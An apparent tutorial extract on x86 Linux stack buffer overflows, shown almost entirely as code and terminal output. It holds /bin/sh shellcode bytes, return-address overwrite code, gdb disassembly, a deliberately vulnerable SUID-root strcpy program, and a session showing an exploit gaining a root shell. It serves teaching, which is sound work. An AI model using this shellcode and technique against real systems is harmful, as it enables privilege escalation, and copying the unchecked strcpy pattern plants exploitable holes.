


/* OverwriteIp.c */

void printMessage()

{

 char strTmp[] = “The Message.”;

 int* piRet;

 /* Modify the IP. Decrement it 5 bytes. */

 piRet = (int*)(strTmp + 28);

 *(piRet) -= 5;

 /* Print ‘The Message’ */

 printf(“%s\n”, strTmp);

 return;

}

int main()

{

 printMessage();

 return 0;

}
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/* Stack.c

 

Code adapted from:

http://www.insecure.org/stf/smashstack.txt.

*/

int getStackPointer()

{

asm

 (

  “mov %esp,%eax”

 );

}

int main()

{

printf(“%p\n”, getStackPointer());

return 0;

}

/* ExploitString.c */

char code[] = “\x83\xc4\x40\x55\x89\xe5\x83\xec”

 “\x08\x89\xe3\xb9\xff\x2f\x73\x68\xc1\xe9”

 “\x08\x51\x68\x2f\x62\x69\x6e\x31\xc0\x83”

 “\xeb\x08\x89\x5d\xf8\x89\x45\xfc\x83\xec”

 “\x04\x50\x8d\x45\xf8\x50\xff\x75\xf8\x55”

 “\x55\x31\xc0\x89\xe5\x85\xc0\x57\x53\x8b”

 “\x7d\x08\x8b\x4d\x0c\x8b\x55\x10\x53\x89”

 “\xfb\x31\xc0\x83\xc0\x0b\xcd\x80”;

#include <stdio.h>

void test()

{

 int* piReturnAddress;

 piReturnAddress = (int *)&piReturnAddress;

 *(piReturnAddress + 2) = (int)&code[0];

}

int main()

{

 test();

 return 0;

}

/* exploitCodeUsingExecve.c */

#include <unistd.h>

int main()

{

 char* argv[1];

 argv[0] = “/bin/sh”;

 argv[1] = NULL;

 execve(argv[0], argv, 0);

 return 0;

}



[ig@hostname]$ gcc –static –ggdb –o 

exploitCodeUsingExecve 

 exploitCodeUsingExecve.c

[ig@hostname]$ ./exploitCodeUsingExecve

 sh-2.05b$

The code is compiled and disassembled:

gcc –static –ggdb –o exploitCodeUsingExecve 

exploitCodeUsingExecve.c

gdb exploitCodeUsingExecve

(gdb) disassemble main

(gdb) disassemble execve

0x80481d0 <main>: push %ebp

0x80481d1 <main+1>: mov %esp,%ebp

0x80481d3 <main+3>: sub $0x8,%esp

0x80481d6 <main+6>: and $0xfffffff0,%esp

0x80481d9 <main+9>: mov $0x0,%eax

0x80481de <main+14>: sub %eax,%esp

0x80481e0 <main+16>: movl $0x808b2e8,0xfffffff8(%

ebp)

0x80481e7 <main+23>: movl $0x0,0xfffffffc(%ebp)

0x80481ee <main+30>: sub $0x4,%esp

0x80481f1 <main+33>: push $0x0

0x80481f3 <main+35>: lea 0xfffffff8(%ebp),%eax

0x80481f6 <main+38>: push %eax

0x80481f7 <main+39>: pushl 0xfffffff8(%ebp)

0x80481fa <main+42>: call 0x804cfcc <execve>

0x804cfcc <execve>: push %ebp

0x804cfcd <execve+1>: mov $0x0,%eax

0x804cfd2 <execve+6>: mov %esp,%ebp

0x804cfd4 <execve+8>: test %eax,%eax

0x804cfd6 <execve+10>: push %edi

0x804cfd7 <execve+11>: push %ebx

0x804cfd8 <execve+12>: mov 0x8(%ebp),%edi

0x804cfdb <execve+15>: je 0x804cfe2 <execve+22>

0x804cfdd <execve+17>: call 0x0

0x804cfe2 <execve+22>: mov 0xc(%ebp),%ecx

0x804cfe5 <execve+25>: mov 0x10(%ebp),%edx

0x804cfe8 <execve+28>: push %ebx

0x804cfe9 <execve+29>: mov %edi,%ebx

0x804cfeb <execve+31>: mov $0xb,%eax

0x804cff0 <execve+36>: int $0x80

 (gdb) x/b 0x80481e0

0x80481e0 <main+16>: 0x55

(gdb)

0x80481e1 <main+17>: 0x89

(gdb)

0x80481e2 <main+18>: 0xe5

(gdb)

0x80481e3 <main+19>: 0x83

(gdb)

0x80481e4 <main+20>: 0xec

...

./dnsNameToIp www.w3.org

192.168.0.2

./dnsNameToIp www.doesNotExist.org

Unknown



 ./dnsNameToIp wwwwwwwwwwwwwwwwwwwwwwwwww

wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww

wwwwwwww

 Unknown

 Segmentation fault (core dump)

[ig@hostname]$ ./doExploit 256 100 0xbffff5da 

dnsNameToIp

Length of strExploit [bytes]: 657

Executing: dnsNameToIp $EXPLOIT

Unknown

sh-2.05b#

/* dnsNameToIp.c */

/* This program runs as SUID root */

#include <string.h>

#include <stdio.h>

char* getIpFromDns(char* strDnsName)

{

 if (strcasecmp(strDnsName, “www.raytheon.

com”) == 0)

 {

  return “192.168.0.1”;

 }

 else if (strcasecmp(strDnsName, “www.w3.org”) 

== 0)

 {

  return “192.168.0.2”;

 }

 else if (strcasecmp(strDnsName, “www.

slashdot.org”) == 0)

 {

  return “192.168.0.3”;

 }

 else if (strcasecmp(strDnsName, “www.

kerneltrap.org”) == 0)

 {

  return “192.168.0.4”;

 }

 return “Unknown”;

}

int main(int argc, char* argv[])

{

 char strBuffer[255];

 strcpy(&strBuffer[0], argv[1]);

 printf(“%s\n”, getIpFromDns(strBuffer));

 return 0;

}
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